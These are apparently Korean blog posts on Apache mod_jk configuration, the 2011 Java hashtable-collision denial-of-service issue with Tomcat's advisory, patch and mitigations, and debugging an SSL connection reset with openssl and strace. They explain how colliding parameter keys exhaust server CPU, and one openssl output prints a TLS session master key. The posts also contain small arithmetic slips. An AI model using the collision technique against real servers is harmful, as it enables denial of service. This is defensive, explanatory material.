<timeout 설정>

하나의 tomcat worker에 전달되어 서비스가 되도록 한다.

 

worker.list=tomcat

worker.tomcat.type=ajp13

worker.tomcat.port={portnumber}

#worker.tomcat.connect_timeout=1000

#worker.tomcat.prepost _timeout=1000

#worker.tomcat.socket_timeout=3

#worker.tomcat.reply_timeout=1000

 

Tomcat Instance의 GC time, 통신 속도, 트래픽을 고려해서 개발자가 mod_jk의 timeout설정을 해야 한다.

아래 Timeout 설정에 하나라도 만족이 되면, mod_jk는 해당 Tomcat Instance에 대해서 에러로 처리되고, 특정기간(recover_time : 60초)동안 소켓을 전달하지 않는다.

실제 정확한 Timeout은 연속 시도 값(reties 속성값) 과 연속 시도 대기 값(retry_interval 속성값)에 따라서 영향을 받는다.

현재 reties default 값은 2, retry_interval 값은 100ms이므로, 실제 Timeout 값은 아래와 같다.

실제 Timeout은 (2 * xxx_timeout ) + 100ms이다.

위 설정의 의미를 설명한다.

* worker.list=tomcat : worker는 tomcat worker 하나만 지정한다.

* worker.tomcat.type=ajp13 : 로 Apache Http 서버와 Tomcat 서버가 통신하는 protocol은 ajp 13이다.

* worker.tomcat.connect_timeout=1000 : jk와 Tomcat Instance 간 연결이 완료된 후, arj13 protocol에서의 cping request에 대한 cpong respone timeout 을 1000ms로 지정한다.

* worker.tomcat.prepost _timeout=1000 : jk와 Tomcat Instance 간의 요청이 전달이 되기전 arj13 protocol에서의 cping request에 대한 cpong respone timeout 을 1000ms로 지정한다.

* worker.tomcat.socket_timeout=3 : jk와 Tomcat Instance간의 응답 대기 시간이 3초 되면, timeout이 된다. 이 응답대기 시간은 TCP socket 내부적인 상태에 대한 timeout을 의미한다.

* worker.tomcat.reply_timeout= 1000 : jk와 Tomcat Instance 간의 의미있는 요청과 응답간의 시간에 대해서 1000ms timeout으로 지정된다.

내부 IDC에서는 방화벽을 쓰지 않기 때문에, socket_keepalive(디폴트 false)설정은 따로 지정하지 않는다.

connection_pool_timeout을 지정할 경우, Tomcat Instance에서의 connectionTimeout 설정과 같이 설정해야 한다.

 

<status 보기>

Apache Http 서버에서 status 정보를 볼 수 있듯이, mod_jk에서도 status 정보를 보여줄 수 있다. 이 설정은 서비스에는 영향을 주지 않는다.

workers.properties 파일 안에 Status worker를 추가한다.

worker.list=jkstatus

worker.jkstatus.type=status

conf 설정 파일에 jk mount 디렉토리를 지정하고, 외부로 노출되지 않도록 IP관리가 되어야 한다.

JkMount /jkmanager/* jkstatus

<Location /jkmanager/>

JkMount jkstatus

Order deny,allow

Deny from all

Allow from 127.0.0.1

Allow from <내부 IP>

</Location>

http://127.0.0.1/jkmanager/ 로 접속하면 관련정보를 확인할 수 있다.

 

<fail on status>

 

worker.{application1}.fail_on_status=400

Tomcat Instance에서 보낸 Http response status code에 대해서 fail로 간주할 수 있도록 한다. Tomcat Instance에서 400 error발생시 fail이 동작될 수 있다.

 

<redirect>

 

worker.{application1}.redirect ={component6}

worker.{application6}.port=8050

worker.{application6}.host=2.2.2.2

worker.{application6}.type=ajp13

worker.{application6}.activation=disable

특정 상황에서 application1 worker가 application6 worker로 redirect가 가능하다.
activation 설정은 1.2.19부터 가능하다.

worker.properties 파일에 connection_pool_timeout 설정을 추가하여, fail 이후의 상황에 대해서 필요 없는 connection을 오랫동안 쓰지 않도록 할 수 있다. Apache Tomcat 서버의 server.xml의 connectionTimeout값과 동일하게 잡아야 한다.

worker.tomcat1.port=8050

worker.tomcat1.connection_pool_timeout=5

Posted by 김용환 '김용환'
TAG apache


<간단 설명> 

Apache Http의 설정 파일이다.

LoadModule jk_module modules/mod_jk.so

<IfModule mod_jk.c>

JkWorkersFile "/home/www/httpd/conf/workers.properties"

JkLogFile "| /home/www/httpd/bin/rotatelogs –l /home/www/httpd/logs/mod_jk.log. %y%m%d 86400 "

JkLogLevel error

JkLogStampFormat "[%a %b %d %H:%M:%S %Y] "

#JkRequestLogFormat "%w %V %T"

</IfModule>

mod_jk 로그도 full 되어서 write를 못하면 apache httpd 서버가 동작이 안될 수 있으니 rotatelogs를 쓰는 것이 좋다.

 

필요시에는 JkLogLevel 을 error에서 debug 혹은 info 레벨로 낮추어서 테스트할 수 있다. 디폴트 값은 error이다.

하루 단위로 mod_jk 로그가 생성되도록 하였다. 옵션에 대한 상세한 mod_jk.log 설정은 다음과 같다.

JkLogFile에 적힌 옵션들과 숫자들의 의미이다.

• %y : 연도 (year)

• %m : 월 (month)

• %d : 일 (day)

• 86400 : 하루를 초로 나타난 시간 (60 * 24 * 24)

JkLogLevel 의 경우는 default로 error로 초기화 되나, 필요에 따라서 info나 debug로 설정한다.

JkLogStampFormat 설명은 다음과 같다.

• %a : 요일

• %b : 월 (month)

• %d : 일 (day)

• %H:%M:%S %Y] : 시간정보 와 연도 (year)

JkRequestLogFormat 설명은 다음과 같다.

• %w : Tomcat worker의 이름

• %V : 요청한 Domain 이름

• %T : 처리 시간 (소수점 초 단위)

JkRequestLogFormat을 정의하면, Apache Http 서버에서 Apache Tomcat 서버로 Http요청으로 넘어갈 때, 로그가 저장이 된다.

[Fri Dec 03 14:47:19 2010] solution_search search.nhncorp.com 0.017900
[Fri Dec 03 14:47:20 2010] solution_search search.nhncorp.com 0.020706

따라서, Error 가 발생할 때만, 로그가 저장되길 원한다면, JkRequestLogFormat을 사용하지 말아야 한다. 그 이유는 내부적으로 log level을 JK_LOG_REQUEST_LEVEL로 지정하고 있는데, JkLogLevel과는 상관없이 출력하도록 코딩이 되어 있다.

WAS에서 Flush 되지 않거나 하는 문제가 발생시 다음의 옵션을 사용하여 Flush 되게 할 수 있다.

JkOptions +FlushPackets +FlushHeader

예를 들어, chunked encoding 으로 gzip을 전송시 바로 flush가 안될 수 있는데, 위의 옵션을 추가하면 바로 flush 되는 것을 확인할 수 있다. (Http server 2.2.8부터 가능)

만약 동작이 되지 않는다면, JkLogLevel 을 trace로 내리면 구체적인 로그를 확인할 수 있다. 로그 레벨의 디폴트 값은 info이며, 레빌의 수준은 trace, debug, info, warn, error 단계로 나눌 수 있다.


<상세 로그 보기>



Apache Http서버는 mod_jk 관련 로그를 상세하게 출력이 가능하다. Failover시에 대한 정보를 아래와 같은 포맷으로 출력할 수 있다.

LogFormat "%h %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %D %{pid}P %{JK_WORKER_NAME}n %{JK_LB_FIRST_NAME}n %{JK_LB_FIRST_STATE}n %{JK_LB_LAST_NAME}n %{JK_LB_LAST_STATE}n %{JK_REQUEST_DURATION}n" mod_jk_log


CustomLog "| /home/www/httpd/bin/rotatelogs -l /home/www/httpd/modjklog.%Y%m%d 86400" mod_jk_log env=!nolog-request
추가된 설정의 의미를 설명한다.
 %{pid}P : prefork 기준 Apache Http process 아이디
 %{JK_WORKER_NAME}n : load balancer worker 이름
 %{JK_LB_FIRST_NAME}n : 처음 시도한 load balancer worker의 이름
 %{JK_LB_FIRST_STATE}n : 처음 시도한 load balancer worker 의 상태
 %{JK_LB_LAST_NAME}n : 마지막으로 Http 요청을 처리한 load balancer worker의 이름
 %{JK_LB_LAST_STATE}n : 마지막으로 Http 요청을 처리한 load balancer worker의 상태
 %{JK_REQUEST_DURATION}n : 처리시간


Posted by 김용환 '김용환'
TAG apache

 

<시작하며..>

(2011-2012) 작년 연말/올해 연초 부터 hash dos 공격에 대한 보안 취약성에 대한 얘기가 있었다. 관련 내용을 정리해서 올려본다.

 

<시작>

12월 29일 한 통의 메일을 톰캣 리더 개발자인 Mark Thomas로부터 메일을 받았다. dos 공격을 당할 수 있는 내용에 대해서 oracle은 패치를 하지 않을 것이고, tomcat은 maxParameterCount의 값을 디폴트로 10000개로 지정하는 패치를 내어놓겠다고 했다.  톰캣 5 는 더이상 패치하겠다고 발표한 생태였지만, 패치를 하겠다고 얘기가 있었다.

 

[SECURITY] Apache Tomcat and the hashtable collision DoS vulnerability

11-12-29 (목) 07:28

추가정보 보기 보낸사람
: "Mark Thomas"<markt@apache.org> 주소록에 추가
받는사람
: "Tomcat Users List"<users@tomcat.apache.org>
참조    
: <announce@tomcat.apache.org>, <announce@apache.org>, "Tomcat Developers List"<dev@tomcat.apache.org>

You may have read about a recently announced vulnerability rooted in the
Java hashtable implementation [1]. Since Apache Tomcat uses a hashtable
for storing HTTP request parameters, it is affected by this issue.
As per [1], it appears that Oracle will not be providing a fix for this
vulnerability with in the JRE.
Tomcat has implemented a work-around for this issue by providing a new
option (maxParameterCount) to limit the number of parameters processed
for a single request. This default limit is 10000: high enough to be
unlikely to affect any application; low enough to mitigate the effects
of the DoS.
The work-around is available in:
trunk
7.0.23 onwards
6.0.35 onwards
The work-around will also be available in 5.5.35 once released.
If using an earlier version of Apache Tomcat that does not have the
maxParameterCount attribute available, limiting the maxPostSize to a few
10's of kB should also mitigate the issue although it may cause issues
for some applications.
While this is not viewed as a vulnerability in Apache Tomcat, the Apache
Tomcat security team is making this announcement due to the high
likelihood that applications will be affected by this issue and to make
users aware of the available work-arounds.
The Apache Tomcat security team
[1] http://www.nruns.com/_downloads/advisory28122011.pdf

자세한 정보는 메일의 아래 문서에서 확인할 수 있다. http://www.nruns.com/_downloads/advisory28122011.pdf

<간략하게 소개하는 취약점과 테스트 자료>

대부분의 언어에서는 Hash table을 많이 사용하고 있다. 특히 웹 서비스의 경우는 hash table로 데이터를 매핑해서 쓴다. 특히 post 방식일 때는 hash table을 파라미터 값으로 자동으로 매핑한다. get 방식일 때는 파라미터의 길이에 대해서 이미 브라우져단/서버단에서 기본적으로 제한을 가져서 문제가 없다. 그러나 post 방식일 때는 파라미터 개수 제한이 없다. (물론 서버 설정에서 이를 설정상으로 막을 수 있다.)

이를 악용하여 공격자가 조작된 값(colliding keys)을 파라미터로 전달하여 cpu 를 소진시킬 수 있다. hash contension이 일어나도록 동일한 string key값을 보내서 서버에 부담을 준다. (multi-collisions)
또는 randomized hash function이 없는 경우에도 활용될 수 있다.
hash table의 약점을 노린 것으로 hash table에 파라미터 입력시 O(n**2)으로 complexity가 높아지면서 cpu를 소진시켜 서버가 서비스를 못하게 한다. 하나의 요청만으로 웹 서버의 서비스를 못하게 할 수 있다.

hashtable에 존재하는 값과 입력된 값이 다를 경우 충돌이 일어나고, 그 충돌되는 값이 많아지면서 해당 값들을 계속 비교하는 경우를 multi-collision이라고 한다.

You tube에는 이런 취약점을 이용해서 간단하게 테스트한 자료가 있다.

<

 

<자바 패치 >

2003년부터 이 부분이 알려져 있다. Rice 대학의 Crosby, Wallach 가 발표한 논문에 비슷한 논문이 있다.
http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003.pdf

Perl와 CRuby는 고쳐졌지만 php 4/5, V8, 자바, asp.net, Python, Ruby에 보안 취약이 있었다.

자바의 경우는 String.hasCode()  메서드를 이용한 HashMap, HashTable 클래스를 사용하고 있다. DJBX33A 알고리즘을 사용하는데. 이슈가 있다. 2011년 11월 1일 레드햇 버그질라에 이 문제에 대한 이슈가 올라왔었지만, 오라클은 이 부분에 대해서 자바 hashmap 구현을 바꾸지 않겠다고 했다. 즉 자바 언어의 hash 구현의 이슈가 아니라고 답변하였고 웹 서버(tomcat, jbossweb, flassfish)에서 처리되는 것으로 되었다. (개인적인 의견으로는 참 애매한 이슈인 것 같다. 원래 그렇게 최악의 상황을 감안하고 구현되었을 수도 있고, 이거 고쳐서 backward compatibility를 잃어버리는 것보다는 나을 수 있다는 생각도 든다. 굳이 고쳐서 탈나는 것보다는 이게 나을 수도 ^^;;;)

https://bugzilla.redhat.com/show_bug.cgi?id=750533

그래서 12월 29일 close가 되었고, tomcat 리더 개발자인 mark tomas는 메일을 보낸 것이었다.

 

<톰캣 패치>

6.0.35, 7.0.23이 바로 패치되었고, 5.5.35는 늦게 패치가 되었다.

위에서 얘기한 Connector의 필드값으로 maxParameterCount 개수를 지정하면 문제를 해결하면 된다.

http://tomcat.apache.org/tomcat-6.0-doc/config/ajp.html

 

패치 할 수 없는 상황에서는 maxPostSize 를 이용할 수도 있다.

 

핵심 코드가 바뀌었는지 간단히 살펴본다.

http://www.mail-archive.com/dev@tomcat.apache.org/msg57020.html

Connector.java

maxParameterCount 파라미터를 읽는다.

tomcat/trunk/java/org/apache/catalina/connector/Connector.java

     /**
+     * The maximum number of parameters (GET plus POST) which will be
+     * automatically parsed by the container. 10000 by default. A value of less
+     * than 0 means no limit.
+     */
+    protected int maxParameterCount = 10000;


+    /**
+     * Return the maximum number of parameters (GET plus POST) that will be
+     * automatically parsed by the container. A value of less than 0 means no
+     * limit.
+     */
+    public int getMaxParameterCount() {
+        return maxParameterCount;
+    }
+
+
+    /**
+     * Set the maximum number of parameters (GET plus POST) that will be
+     * automatically parsed by the container. A value of less than 0 means no
+     * limit.
+     *
+     * @param maxParameterCount The new setting
+     */
+    public void setMaxParameterCount(int maxParameterCount) {
+        this.maxParameterCount = maxParameterCount;
+    }

 

tomcat/trunk/java/org/apache/tomcat/util/http/Parameters.java

기존에는 간단하게 Hashtable<String,String[]>의 값을 저장했지만, 새로 바뀐 버전에는 Hashtable<String,ArrayList<String>> 타입으로 바꾸었다.

-    private final Hashtable<String,String[]> paramHashStringArray =
-        new Hashtable<String,String[]>();

==>

+    private final Hashtable<String,ArrayList<String>> paramHashValues =
+        new Hashtable<String,ArrayList<String>>();

 

구버전까지는 key값에 대한 value값을 array list로 해서 계속 추가되는 형태이다. 반면 신버전에서는 Capacity의 크기를 체크한 후 값을 저장하는 코드로 바뀌었다. 이 값은

-        String values[];
-        if (paramHashStringArray.containsKey(key)) {
-            String oldValues[] = paramHashStringArray.get(key);
-            values = new String[oldValues.length + newValues.length];
-            for (int i = 0; i < oldValues.length; i++) {
-                values[i] = oldValues[i];
-            }
-            for (int i = 0; i < newValues.length; i++) {
-                values[i+ oldValues.length] = newValues[i];
-            }
-         } else {
-            values = newValues;
          }
-        paramHashStringArray.put(key, values);
     }

==>

+        ArrayList<String> values;
+        if (paramHashValues.containsKey(key)) {
+             values = paramHashValues.get(key);
         } else {
+            values = new ArrayList<String>(1);
+            paramHashValues.put(key, values);
+        }
+        values.ensureCapacity(values.size() + newValues.length);
+        for (String newValue : newValues) {
+            values.add(newValue);
         }


<아파치 해결>

LimitRequestBody 값으로 개수를 지정한다. 디폴트값은 1000000(백만)이라서 조절이 필요할 수 있다.
http://httpd.apache.org/docs/2.0/mod/core.html

<Directory "/home/www/web">
    LimitRequestBody 102400
</Directory>

 

* 참고 사항

이 메일의 배경은 12월 28일 독일에서 열린 Chaos Communication Congress의  Julian zeri Walde가 발표로 인해서 알려졌다. 자세한 내용은 아래와 같다. 원리에 대한 설명이 있다.

http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf

간단하게 이 자료를 소개하면서 자바의 소스를 분석해본다.

일반적으로 hash table은 O(n) 방식으로 내용을 검색하거나 추가할 수 있다.

 

그러나 하나의 키에 계속 값이 붙는 screwed 상황이 일어날 수 있다.  이 때는 O(n**2)가 되어서 속도가 저하되는 이슈가 있다.

 

 

만약 10bytes 짜리 20만개를 최악의 케이스로 넣는 다면, 40,000,000,000 번의 string 비교가 일어나고 40초가 걸릴 수 있다. (참고로 String intern, String compare는 비싼 자원이다..)

 

자바의 내부는 String hash값은 어떻게 되어 있을까?

public final class String
    implements java.io.Serializable, Comparable<String>, CharSequence
{

/** Cache the hash code for the string */
private int hash; // Default to 0

/**
     * Returns a hash code for this string. The hash code for a
     * <code>String</code> object is computed as
     * <blockquote><pre>
     * s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
     * </pre></blockquote>
     * using <code>int</code> arithmetic, where <code>s[i]</code> is the
     * <i>i</i>th character of the string, <code>n</code> is the length of
     * the string, and <code>^</code> indicates exponentiation.
     * (The hash value of the empty string is zero.)
     *
     * @return  a hash code value for this object.
     */
    public int hashCode() {
    int h = hash;
        int len = count;
    if (h == 0 && len > 0) {
        int off = offset;
        char val[] = value;

            for (int i = 0; i < len; i++) {
                h = 31*h + val[off++];
            }
            hash = h;
        }
        return h;
    }

}

 

결국 hash code 공식은 다음 공식을 따른다.

hash code = s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]

위키에 좀더 멋진 공식 표현이 있다. (http://en.wikipedia.org/wiki/Java_hashCode())

h(s)=\sum_{i=0}^{n-1}s[i] \cdot 31^{n-1-i}

 

멋진 공식이라 하더라도. hash value는 int 라는 제한적인 값(min<int<max) 범위에 있기 때문에 중복될 수 있다. 또한 아래와 같이 동일한 hashcode를 생성할 수 있다. 이런 것을 악용한다면, 웹 서버들을 장애를 일으킬 수 있을 것이다.

public class a1 {
    public static void main(String[] args) {
        System.out.println(new String("FB").hashCode());
        System.out.println(new String("Ea").hashCode());
    }
}

#결과
2236
2236

 

생각해보면, hashcode는 unique한 값이 아닌 적당하게 써서 관리하기 위한 목표를 가지고 있다. 취약점을 어쩔 수 없으니. 적당하게 크기 제한하는 것이 좋은 사례인 것 같다..


PS
2012년 1월 17일 Mark Tomas는 정식으로 메일을 보냈다.
http://mail-archives.apache.org/mod_mbox/tomcat-announce/201201.mbox/%3C4F155CE2.3060301%40apache.org%3E

CVE-2012-0022 Apache Tomcat Denial of Service

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:
- Tomcat 7.0.0 to 7.0.22
- Tomcat 6.0.0 to 6.0.33
- Tomcat 5.5.0 to 5.5.34
- Earlier, unsupported versions may also be affected

Description:
Analysis of the recent hash collision vulnerability identified unrelated
inefficiencies with Apache Tomcat's handling of large numbers of
parameters and parameter values. These inefficiencies could allow an
attacker, via a specially crafted request, to cause large amounts of CPU
to be used which in turn could create a denial of service.
The issue was addressed by modifying the Tomcat parameter handling code
to efficiently process large numbers of parameters and parameter values.

Mitigation:
Users of affected versions should apply one of the following mitigations:
- Tomcat 7.0.x users should upgrade to 7.0.23 or later
- Tomcat 6.0.x users should upgrade to 6.0.35 or later
- Tomcat 5.5.x users should upgrade to 5.5.35 or later

Credit:
The inefficiencies in handling large numbers of parameters were
identified by the Apache Tomcat security team.

References:
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
http://tomcat.apache.org/security-5.html




 

Posted by 김용환 '김용환'
TAG apache

과거에 https 연결해서 테스트한 적이 있었고, 그 이후에 쓰지 않다가 최근에 https로 사용해야 해서 https로 테스트하던 중에 발견되었습니다.

브라우져상의 에러

(크롬) : err_connection_reset 에러 발생


IE 쪽



Apache Http 서버의 설정파일이나 java 연결부분, 인증서 부분에도 특별한 문제점을 파악하지 못했습니다.

에러 로그에서도 특별한 징후를 찾을 수 없었습니다.

 

그래서 터미널에서 해당 서버에 로그인 한 후, openssl을 이용해서 디버깅을 해보았습니다.

localhost의 443포트에 접속해서 ssl 통신을 체크하였습니다.


#  openssl s_client -host localhost -port 443 -state
CONNECTED(00000003)
SSL_connect:before/connect initialization
SSL_connect:SSLv2/v3 write client hello A
SSL_connect:error in SSLv2/v3 read server hello A
write:errno=104


 

ssl 통신은 최초 통신의 시작을 hello 라는 패킷을 client와 server 에 서로 전달하는데. 그 부분에서 에러가 발생한 것입니다. 저는 좀 더 상세한 정보를 보기 위해서 linux의 시스템 콜과 에러 내용에 대해서 정확히 분석하기 위해서 strace 라는 리눅스 명령어를 이용했습니다.

# strace openssl s_client -host localhost -port 443 -state
gettimeofday({1318989368, 765821}, NULL) = 0
poll([{fd=4, events=POLLOUT}], 1, 0)    = 1 ([{fd=4, revents=POLLOUT}])
send(4, "\204\27\1\0\0\1\0\0\0\0\0\0\20_kerberos-master\4_u"..., 49, MSG_NOSIGNAL) = 49
poll([{fd=4, events=POLLIN}], 1, 1000)  = 1 ([{fd=4, revents=POLLIN}])
recvfrom(4, "\204\27\205\203\0\1\0\0\0\1\0\0\20_kerberos-master\4_u"..., 2048, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("10.22.64.6")}, [16]) = 100
close(4)                                = 0
write(3, "\200t\1\3\1\0K\0\0\0 \0\0009\0\0008\0\0005\0\0\26\0\0\23\0\0\n\7\0\300"..., 118) = 118
write(2, "SSL_connect:SSLv2/v3 write clien"..., 42SSL_connect:SSLv2/v3 write client hello A
) = 42
read(3, 0x89bc4d0, 7)                   = -1 ECONNRESET (Connection reset by peer)
write(2, "SSL_connect:error in SSLv2/v3 re"..., 50SSL_connect:error in SSLv2/v3 read server hello A
) = 50
write(2, "write:errno=104\n", 16write:errno=104
)       = 16
shutdown(3, 0 /* receive */)            = -1 ENOTCONN (Transport endpoint is not connected)
close(3)                                = 0
exit_group(0)                           = ?




 

서버에서 접속을 끊었다는 ECONNRESET (error number 104) 이라는 에러가 발생되었음을 정확히 확인할 수 있었습니다.

 

ECONRESET 은  TCP 통신과 연관이 있습니다

 

fig1o.png

 

 

A,B 노드가 있다고 가정하고, A가 Syn 패킷을 통해 connection을 시도했지만, 서버에서 port가 존재하지 않거나 중간에 소켓에 문제가 생겨 서버로부터 RST 패킷을 받게 됩니다. 이 때, -1이 리턴되고 ECONNRESET이 errono로 셋팅되며, Connection reset by peer 메시지를 보여 줍니다.


 


일반적인 케이스는 아파치 에러 로그(LogLevel debug 설정)에 보여지기도 하지만, 이번 경우는 에러 로그에 남지 않았습니다. 그 이유는 Http 단 연결이 아닌 TCP 단에서의 연결에서 종료되었기 때문입니다.

 

만약 정상적인 연결이었다면, 아래와 같이 SSL 통신하고 클라이언트에서 인증서를 받는 형태로 가게 됩니다.


 

# openssl s_client -host localhost -port 443 -state
CONNECTED(00000003)
SSL_connect:before/connect initialization
SSL_connect:SSLv2/v3 write client hello A
SSL_connect:SSLv3 read server hello A
depth=1 /C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=Terms of use at https://www.verisign.com/rpa (c)10/CN=VeriSign Class 3 Secure Server CA - G3
verify error:num=20:unable to get local issuer certificate
verify return:0
SSL_connect:SSLv3 read server certificate A
SSL_connect:SSLv3 read server key exchange A
SSL_connect:SSLv3 read server done A
SSL_connect:SSLv3 write client key exchange A
SSL_connect:SSLv3 write change cipher spec A
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL_connect:SSLv3 read finished A
---
Certificate chain
 0 s:/C=KR/ST=adsfsdf/L=dddad/O=NHN/OU=GAT/OU=Terms of use at www.crosscert.com/rpa (c) 04/OU=Authenticated by KECA, Inc./OU=Member, VeriSign Trust Network/CN=google.com
   i:/C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=Terms of use at https://www.verisign.com/rpa (c)10/CN=VeriSign Class 3 Secure Server CA - G3
 1 s:/C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=Terms of use at https://www.verisign.com/rpa (c)10/CN=VeriSign Class 3 Secure Server CA - G3
   i:/C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=(c) 2006 VeriSign, Inc. - For authorized use only/CN=VeriSign Class 3 Public Primary Certification Authority - G5
---
Server certificate
Server certificate
-----BEGIN CERTIFICATE-----
MIIFgDCCBGigAwIBAgIQFZkr7WyBWj+WqYaiWeajwzANBgkqhkiG9w0BAQUFADCB
tTELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL
ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTswOQYDVQQLEzJUZXJtcyBvZiB1c2Ug
YXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYSAoYykxMDEvMC0GA1UEAxMm
VmVyaVNpZ24gQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzMwHhcNMTAxMjA2
MDAwMDAwWhcNMTIxMjA1MjM1OTU5WjCB7zELMAkGA1UEBhMCS1IxEDAOBgNVBAgT
B0t5dW5nZ2kxFDASBgNVBAcUC0p1bmdqYS1kb25nMQwwCgYDVQQKFANOSE4xDDAK
BgNVBAsUA0dBVDE1MDMGA1UECxMsVGVybXMgb2YgdXNlIGF0IHd3dy5jcm9zc2Nl
cnQuY29tL3JwYSAoYykgMDQxJDAiBgNVBAsTG0F1dGhlbnRpY2F0ZWQgYnkgS0VD
QSwgSW5jLjEnMCUGA1UECxMeTWVtYmVyLCBWZXJpU2lnbiBUcnVzdCBOZXR3b3Jr
MRYwFAYDVQQDFA15YTkubmF2ZXIuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
iQKBgQDf6nldrBCfR7cgGBA7PcVkGT7xvF7X/KadRBzWtFYnba2rxd/dpQ4k5UkM
4wLr2xK6clCS1xodZp9mhLI0ig79qY6IloAghkJEmjz13Ui1c0o0ZincqbUsa7Rp
+VYSesEguUYdmj5FwWmtMC6do6TrRGjp1ExThvMEEiqMhi48FwIDAQABo4IB0jCC
Ac4wCQYDVR0TBAIwADALBgNVHQ8EBAMCBaAwRQYDVR0fBD4wPDA6oDigNoY0aHR0
cDovL1NWUlNlY3VyZS1HMy1jcmwudmVyaXNpZ24uY29tL1NWUlNlY3VyZUczLmNy
bDBFBgNVHSAEPjA8MDoGC2CGSAGG+EUBBxcDMCswKQYIKwYBBQUHAgEWHWh0dHBz
Oi8vd3d3LmNyb3NzY2VydC5jb20vcnBhMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggr
BgEFBQcDAjAfBgNVHSMEGDAWgBQNRFwWU0TBgn4dIKsl9AFj2L55pTB2BggrBgEF
BQcBAQRqMGgwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLnZlcmlzaWduLmNvbTBA
BggrBgEFBQcwAoY0aHR0cDovL1NWUlNlY3VyZS1HMy1haWEudmVyaXNpZ24uY29t
L1NWUlNlY3VyZUczLmNlcjBuBggrBgEFBQcBDARiMGChXqBcMFowWDBWFglpbWFn
ZS9naWYwITAfMAcGBSsOAwIaBBRLa7kolgYMu9BSOJsprEsHiyEFGDAmFiRodHRw
Oi8vbG9nby52ZXJpc2lnbi5jb20vdnNsb2dvMS5naWYwDQYJKoZIhvcNAQEFBQAD
ggEBAFkByKz9YKlUV59kvdxMwwpvOLc4SNu4Q9mh1QKzQCyZ4oJoZ2FjNxJKU9rq
6YwkC5DrSZ5KZYzSt1CyoksVuWKNkU8E9Tr+np3Hl9inq8OBtUmMTujwtBW7DOK5
3VQfZIa9L4ftuLBBBrkchaIJAO+Wt6QOaxj8nPCdtFz6jE5+y0Tcegnh/37lgTvJ
A0FO+Q9flceQfXOhML/FSfqFTfTDZaXZsrNabSaZqmdbX28TTbsj8wPx71IsxdBs
yKbTF1oz5ywx9xNN6QYhCu0SyQQbxr62e0Oo3o5XFP/ljyjmzIoneWheo5UgsKvI
wDT/ZiM6lixt0CWxSHFNfm9m4yM=
-----END CERTIFICATE-----
subject=/C=KR/ST=Kyunggi/L=Jungja-dong/O=NHN/OU=GAT/OU=Terms of use at www.crosscert.com/rpa (c) 04/OU=Authenticated by KECA, Inc./OU=Member, VeriSign Trust Network/CN=google.com
issuer=/C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=Terms of use at https://www.verisign.com/rpa (c)10/CN=VeriSign Class 3 Secure Server CA - G3
---
No client certificate CA names sent
---
SSL handshake has read 3499 bytes and written 316 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 1024 bit
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1
    Cipher    : DHE-RSA-AES256-SHA
    Session-ID: 8F2B9AB40A4AD05C46DE0F4F04D80355308840534ADAFE4C68FF3389B46981EB
    Session-ID-ctx:
    Master-Key: 5610D7F76F9BD9EE4896F5C9599323CBCA58111579FDECA32BDF05E570D159C65F395B030442E4BC432109B71A238DA5
    Key-Arg   : None
    Krb5 Principal: None
    Start Time: 1318991229
    Timeout   : 300 (sec)
    Verify return code: 20 (unable to get local issuer certificate)
---






ssl 통신(handshaking) 은 다음과 같습니다.

1. Client(터미널에서 openssl 요청, 브라우져)가 Https를 이용해서 Server(google.com) URL로 통신을 시도한다. Hello 라는 통신인데, 지원 가능한 암호방식, 키 교환 방법, 압축 방식을 서로 의사소통합니다.

2. Server(google.com)가 인증서를 client에 전달합니다.

3. Client에서는 Server 인증서 public key 얻어옵니다. (기본적인 인증서에 대한 검증 절차를 거침. 인증서의 도메인과 실제 요청하는 도메인이 갖은지. CA가 정확하게 인증했는지 등등)

5. Client에서는 public key를 이용한 pre-master key(RSA 키교환) 를 생성하고 서버에 전달하여 상호간의 키를 교환하도록 합니다..  (key exchange)

6. Client에서 인증서 검증 정보를 보내고,  SSL 통신에 의해 결정된 암호방식, 키교환 방법, 서명방식, 압축방식을 다음부터 적용할 것을 정합니다. (cipher spec)

6. Server는 Client로부터 받은 pre-master key(또는 pre master secret)를 private key로 디코딩하고 Session ticket으로 생성하고 Client에 전송합니다.  (session ticket)

7. Server 에서는 Session Ticket를 이용하여 Server와 Client간의 발생하는 모든 통신은 암호화가 되게 합니다




통신 에러는 client->server 로 SSL Handshake 하는 첫번째 단계("1. Client(터미널에서 openssl 요청, 브라우져)가 Https를 이용해서 Server(google.com) URL로 통신을 시도한다. Hello 라는 통신인데, 지원 가능한 암호방식, 키 교환 방법, 압축 방식을 서로 의사소통합니다. ")에서 문제가 발생한 것이었습니다.

 

이에 대한 정확한 진단을 위해서 아파치 서버의 설정 파일을 수정하였습니다.

 

Prefork 설정에서 StartServer와 MaxClient를 1로 주어 리스타트를 하였습니다.

 

# vi /usr/local/apache/conf/httpd.conf
StartServer 1
MaxClient 1


# /usr/local/apache/bin/httpd -k restart
[프로세스 재시작]


# ps -ef | grep httpd
1111 root /usr/local/apache/bin/httpd
1112 www  /usr/local/apache/bin/httpd

 


 

root 권한으로 동작하는 httpd 데몬과 www 권한으로 동작하는 httpd 데몬(worker)만이 리눅스에서 실행하게 됩니다.

